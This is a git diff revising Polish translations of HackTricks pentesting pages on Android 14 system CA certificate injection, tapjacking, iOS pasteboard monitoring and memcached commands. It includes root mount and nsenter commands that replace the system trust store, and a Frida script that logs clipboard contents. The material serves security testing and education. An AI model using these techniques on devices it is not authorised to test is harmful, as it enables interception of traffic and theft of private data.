Mimo to istnieje sposób obejścia dla osób potrzebujących modyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innego miejsca, odmontowanie katalogu **`/apex/com.android.conscrypt`** w celu usunięcia ograniczenia tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnego miejsca w **`/apex`**. Ten sposób postępowania wymaga szybkiej reakcji, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
Mimo to istnieje sposób obejścia dla osób potrzebujących modyfikować certyfikaty CA zaufane przez system w katalogu **`/apex`**. Polega to na ręcznym ponownym zamontowaniu **`/apex`**, aby usunąć propagację PRIVATE, co czyni go zapisywalnym. Proces ten obejmuje skopiowanie zawartości **`/apex/com.android.conscrypt`** do innego miejsca, odmontowanie katalogu **`/apex/com.android.conscrypt`** w celu usunięcia ograniczenia tylko do odczytu, a następnie przywrócenie zawartości do ich pierwotnego miejsca w **`/apex`**. Ten sposób postępowania wymaga szybkiej reakcji, aby uniknąć awarii systemu. Aby zapewnić systemowe zastosowanie tych zmian, zaleca się ponowne uruchomienie `system_server`, co skutecznie restartuje wszystkie aplikacje i przywraca system do spójnego stanu.
|
||||||
```bash
|
```bash
|
||||||
|
@ -139,9 +139,9 @@ wait # Launched in parallel - wait for completion here
|
||||||
|
|
||||||
echo "System certificate injected"
|
echo "System certificate injected"
|
||||||
```
|
```
|
||||||
### Montowanie katalogu za pomocą NSEnter
|
### Montowanie powiązane poprzez NSEnter
|
||||||
|
|
||||||
1. **Konfigurowanie katalogu z możliwością zapisu**: W pierwszej kolejności ustanawiany jest katalog z możliwością zapisu poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Można to osiągnąć za pomocą poniższej komendy:
|
1. **Konfigurowanie katalogu z możliwością zapisu**: W pierwszej kolejności, katalog z możliwością zapisu jest ustanawiany poprzez zamontowanie `tmpfs` nad istniejącym katalogiem certyfikatów systemowych non-APEX. Można to osiągnąć za pomocą następującej komendy:
|
||||||
```bash
|
```bash
|
||||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||||
```
|
```
|
||||||
|
@ -162,20 +162,20 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
|
||||||
|
|
||||||
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -7,14 +7,14 @@
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -22,17 +22,17 @@ Inne sposoby wsparcia HackTricks:
|
||||||
## **Podstawowe informacje**
|
## **Podstawowe informacje**
|
||||||
|
|
||||||
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy zasłania widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy zasłania widocznie aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
|
||||||
W rezultacie **oszukuje użytkownika, że wykonuje działania w aplikacji ofiary**.
|
W rezultacie **oszukuje użytkownika, aby nie zdawał sobie sprawy, że faktycznie wykonuje czynności w aplikacji ofiary**.
|
||||||
|
|
||||||
### Wykrywanie
|
### Wykrywanie
|
||||||
|
|
||||||
Aby wykryć aplikacje podatne na ten atak, należy szukać **eksportowanych aktywności** w manifeście androida (zauważ, że aktywność z filtrem intencji jest automatycznie eksportowana domyślnie). Gdy już znajdziesz eksportowane aktywności, **sprawdź, czy wymagają jakiegokolwiek uprawnienia**. Jest to dlatego, że **złośliwa aplikacja będzie również potrzebować tego uprawnienia**.
|
Aby wykryć aplikacje podatne na ten atak, należy wyszukać **eksportowane aktywności** w manifeście androida (zauważ, że aktywność z filtrem intencji jest automatycznie eksportowana domyślnie). Gdy już znajdziesz eksportowane aktywności, **sprawdź, czy wymagają jakiegokolwiek uprawnienia**. Jest to dlatego, że **złośliwa aplikacja będzie również potrzebować tego uprawnienia**.
|
||||||
|
|
||||||
### Ochrona
|
### Ochrona
|
||||||
|
|
||||||
#### Android 12 (API 31,32) i nowsze
|
#### Android 12 (API 31,32) i nowsze
|
||||||
|
|
||||||
[Zgodnie z tym źródłem](https://www.geeksforgeeks.org/tapjacking-in-android/), ataki tapjacking są automatycznie blokowane przez Androida od wersji 12 (API 31 i 30) i nowszych. Dlatego nawet jeśli aplikacja jest podatna, **nie będzie można jej wykorzystać**.
|
[Zgodnie z tym źródłem](https://www.geeksforgeeks.org/tapjacking-in-android/), ataki tapjacking są automatycznie blokowane przez Androida od wersji 12 (API 31 i 30) i nowszych. Więc nawet jeśli aplikacja jest podatna, **nie będziesz w stanie jej wykorzystać**.
|
||||||
|
|
||||||
#### `filterTouchesWhenObscured`
|
#### `filterTouchesWhenObscured`
|
||||||
|
|
||||||
|
@ -40,7 +40,7 @@ Jeśli **`android:filterTouchesWhenObscured`** jest ustawione na **`true`**, `Vi
|
||||||
|
|
||||||
#### **`setFilterTouchesWhenObscured`**
|
#### **`setFilterTouchesWhenObscured`**
|
||||||
|
|
||||||
Atrybut **`setFilterTouchesWhenObscured`** ustawiony na true również może zapobiec wykorzystaniu tej podatności, jeśli wersja Androida jest niższa.\
|
Atrybut **`setFilterTouchesWhenObscured`** ustawiony na true może również zapobiec wykorzystaniu tej podatności, jeśli wersja Androida jest niższa.\
|
||||||
Jeśli ustawione na **`true`**, na przykład przycisk może być automatycznie **wyłączony, jeśli jest zasłonięty**:
|
Jeśli ustawione na **`true`**, na przykład przycisk może być automatycznie **wyłączony, jeśli jest zasłonięty**:
|
||||||
```xml
|
```xml
|
||||||
<Button android:text="Button"
|
<Button android:text="Button"
|
||||||
|
@ -68,14 +68,28 @@ Przykładowy projekt implementujący **FloatingWindowApp**, który można użyć
|
||||||
Wygląda na to, że ten projekt nie jest już rozwijany, a ta funkcjonalność nie działa poprawnie.
|
Wygląda na to, że ten projekt nie jest już rozwijany, a ta funkcjonalność nie działa poprawnie.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Możesz użyć [**qark**](https://github.com/linkedin/qark) z parametrami `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` aby stworzyć złośliwą aplikację do testowania potencjalnych podatności na atak **Tapjacking**.
|
Możesz użyć [**qark**](https://github.com/linkedin/qark) z parametrami `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` do stworzenia złośliwej aplikacji w celu przetestowania potencjalnych podatności na **Tapjacking**.
|
||||||
|
|
||||||
Środki zaradcze są stosunkowo proste, ponieważ deweloper może zdecydować, że widok nie będzie otrzymywał zdarzeń dotyku, gdy jest zasłonięty przez inny. Korzystając z [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
Zapobieganie jest stosunkowo proste, ponieważ programista może zdecydować, czy chce otrzymywać zdarzenia dotykowe, gdy widok jest zasłonięty przez inny. Korzystając z [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||||
|
|
||||||
> Czasami istotne jest, aby aplikacja mogła zweryfikować, czy działanie jest wykonywane z pełną wiedzą i zgodą użytkownika, na przykład przy udzielaniu żądania uprawnienia, dokonywaniu zakupu lub kliknięciu w reklamę. Niestety złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te działania, nieświadomy, ukrywając zamierzony cel widoku. Jako środek zaradczy, framework oferuje mechanizm filtrowania dotyku, który można użyć do poprawy bezpieczeństwa widoków zapewniających dostęp do funkcji wymagających poufności.
|
> Czasami istotne jest, aby aplikacja mogła zweryfikować, czy działanie jest wykonywane z pełną wiedzą i zgodą użytkownika, takie jak udzielenie żądania uprawnienia, dokonanie zakupu lub kliknięcie w reklamę. Niestety złośliwa aplikacja mogłaby próbować oszukać użytkownika, aby wykonał te działania, nieświadomy, ukrywając zamierzony cel widoku. W ramach rozwiązania framework oferuje mechanizm filtrowania dotyku, który można wykorzystać do poprawy bezpieczeństwa widoków zapewniających dostęp do funkcji wymagających poufności.
|
||||||
>
|
>
|
||||||
> Aby włączyć filtrowanie dotyku, należy wywołać [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) lub ustawić atrybut układu android:filterTouchesWhenObscured na true. Po włączeniu framework odrzuci dotknięcia, które są odbierane, gdy okno widoku jest zasłonięte przez inne widoczne okno. W rezultacie widok nie będzie otrzymywał dotknięć, gdy pojawi się toast, okno dialogowe lub inne okno nad oknem widoku.
|
> Aby włączyć filtrowanie dotyku, należy wywołać [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) lub ustawić atrybut układu android:filterTouchesWhenObscured na true. Po włączeniu framework odrzuci dotknięcia, które są odbierane, gdy okno widoku jest zasłonięte przez inne widoczne okno. W rezultacie widok nie będzie otrzymywał dotknięć, gdy pojawi się toast, okno dialogowe lub inne okno nad oknem widoku.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,45 +1,45 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
Dzielenie danych wewnątrz i między aplikacjami na urządzeniach iOS jest ułatwione przez mechanizm [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie:
|
Udostępnianie danych wewnątrz i między aplikacjami na urządzeniach iOS jest ułatwione przez mechanizm [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), który dzieli się na dwie główne kategorie:
|
||||||
|
|
||||||
- **Systemowy schowek ogólny**: Służy do udostępniania danych z **dowolną aplikacją** i jest zaprojektowany do przechowywania danych po restarcie urządzenia i odinstalowaniu aplikacji, funkcja dostępna od iOS 10.
|
- **Systemowy schowek ogólny**: Służy do udostępniania danych z **dowolną aplikacją** i jest zaprojektowany do przechowywania danych po restarcie urządzenia i odinstalowaniu aplikacji, funkcja dostępna od iOS 10.
|
||||||
- **Niestandardowe / Nazwane schowki**: Są przeznaczone do udostępniania danych **w ramach aplikacji lub z inną aplikacją**, która ma ten sam identyfikator zespołu, i nie są zaprojektowane do przetrwania po zakończeniu procesu aplikacji, zgodnie z wprowadzonymi zmianami w iOS 10.
|
- **Niestandardowe / Nazwane schowki**: Są przeznaczone do udostępniania danych **w ramach aplikacji lub z inną aplikacją**, która ma ten sam identyfikator zespołu, i nie są zaprojektowane do przechowywania poza czasem życia procesu aplikacji, który je tworzy, zgodnie z wprowadzonymi zmianami w iOS 10.
|
||||||
|
|
||||||
**Rozważania dotyczące bezpieczeństwa** odgrywają istotną rolę podczas korzystania ze schowków. Na przykład:
|
**Rozważania dotyczące bezpieczeństwa** odgrywają istotną rolę podczas korzystania ze schowków. Na przykład:
|
||||||
- Nie ma mechanizmu umożliwiającego użytkownikom zarządzanie uprawnieniami aplikacji do dostępu do **schowka**.
|
- Nie ma mechanizmu umożliwiającego użytkownikom zarządzanie uprawnieniami aplikacji do dostępu do **schowka**.
|
||||||
- Aby zmniejszyć ryzyko nieautoryzowanego monitorowania schowka w tle, dostęp jest ograniczony do czasu, gdy aplikacja jest w pierwszym planie (od iOS 9).
|
- Aby zmniejszyć ryzyko nieautoryzowanego monitorowania schowka w tle, dostęp jest ograniczony do czasu, gdy aplikacja jest w pierwszym planie (od iOS 9).
|
||||||
- Zaleca się unikanie używania trwałych nazwanych schowków na rzecz kontenerów współdzielonych ze względów prywatności.
|
- Zaleca się unikanie używania trwałych nazwanych schowków na rzecz kontenerów współdzielonych ze względów prywatności.
|
||||||
- Funkcja **Uniwersalny Schowek** wprowadzona wraz z iOS 10, umożliwiająca udostępnianie treści między urządzeniami za pomocą schowka ogólnego, może być zarządzana przez programistów w celu ustawienia wygaśnięcia danych i wyłączenia automatycznego transferu treści.
|
- Funkcja **Uniwersalny Schowek** wprowadzona wraz z iOS 10, umożliwiająca udostępnianie treści między urządzeniami za pomocą schowka ogólnego, może być zarządzana przez deweloperów w celu ustawienia wygaśnięcia danych i wyłączenia automatycznego transferu treści.
|
||||||
|
|
||||||
Zapewnienie, że **wrażliwe informacje nie są przypadkowo przechowywane** na globalnym schowku jest kluczowe. Ponadto aplikacje powinny być zaprojektowane tak, aby zapobiegać nadużyciom danych z globalnego schowka do niezamierzonych działań, a programistów zachęca się do wprowadzenia środków zapobiegających kopiowaniu wrażliwych informacji do schowka.
|
Zapewnienie, że **wrażliwe informacje nie są przypadkowo przechowywane** w globalnym schowku jest kluczowe. Ponadto aplikacje powinny być zaprojektowane tak, aby zapobiegać nadużyciom danych z globalnego schowka do niezamierzonych działań, a deweloperów zachęca się do wprowadzenia środków zapobiegających kopiowaniu wrażliwych informacji do schowka.
|
||||||
|
|
||||||
### Analiza statyczna
|
### Analiza statyczna
|
||||||
|
|
||||||
W analizie statycznej wyszukaj w kodzie źródłowym lub binarnym:
|
W analizie statycznej wyszukaj w kodzie źródłowym lub binarnym:
|
||||||
- `generalPasteboard` w celu zidentyfikowania użycia **systemowego schowka ogólnego**.
|
- `generalPasteboard` aby zidentyfikować użycie **systemowego schowka ogólnego**.
|
||||||
- `pasteboardWithName:create:` i `pasteboardWithUniqueName` do tworzenia **niestandardowych schowków**. Sprawdź, czy włączona jest trwałość, chociaż jest to przestarzałe.
|
- `pasteboardWithName:create:` i `pasteboardWithUniqueName` do tworzenia **niestandardowych schowków**. Sprawdź, czy włączona jest trwałość, chociaż jest to przestarzałe.
|
||||||
|
|
||||||
### Analiza dynamiczna
|
### Analiza dynamiczna
|
||||||
|
|
||||||
Analiza dynamiczna polega na hakowaniu lub śledzeniu określonych metod:
|
Analiza dynamiczna polega na hakowaniu lub śledzeniu konkretnych metod:
|
||||||
- Monitoruj `generalPasteboard` w celu użycia systemowego.
|
- Monitoruj `generalPasteboard` dla użycia ogólnego w systemie.
|
||||||
- Śledź `pasteboardWithName:create:` i `pasteboardWithUniqueName` dla niestandardowych implementacji.
|
- Śledź `pasteboardWithName:create:` i `pasteboardWithUniqueName` dla niestandardowych implementacji.
|
||||||
- Obserwuj wywołania metody `setPersistent:` do sprawdzenia ustawień trwałości.
|
- Obserwuj wywołania metody `setPersistent:` do sprawdzenia ustawień trwałości.
|
||||||
|
|
||||||
|
@ -50,7 +50,7 @@ Kluczowe szczegóły do monitorowania obejmują:
|
||||||
|
|
||||||
Przykładem narzędzia do monitorowania jest **monitor schowka objection**, który sprawdza schowek ogólny co 5 sekund w poszukiwaniu zmian i wypisuje nowe dane.
|
Przykładem narzędzia do monitorowania jest **monitor schowka objection**, który sprawdza schowek ogólny co 5 sekund w poszukiwaniu zmian i wypisuje nowe dane.
|
||||||
|
|
||||||
Oto prosty przykładowy skrypt JavaScriptu, inspirowany podejściem objection, do odczytywania i rejestrowania zmian ze schowka co 5 sekund:
|
Oto prosty przykładowy skrypt JavaScript, inspirowany podejściem objection, do odczytywania i rejestrowania zmian ze schowka co 5 sekund:
|
||||||
```javascript
|
```javascript
|
||||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||||
|
@ -80,7 +80,7 @@ console.log(items);
|
||||||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -91,7 +91,7 @@ console.log(items);
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
|
|
@ -14,11 +14,10 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## Arkusz pomocy komend
|
## Arkusz pomocy komend
|
||||||
|
|
||||||
**Z** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
**Z** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||||
|
@ -30,20 +29,20 @@ Niestety opis składni nie jest zbyt czytelny, a prosta komenda pomocy wymieniaj
|
||||||
| Komenda | Opis | Przykład |
|
| Komenda | Opis | Przykład |
|
||||||
| --------------------- | --------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
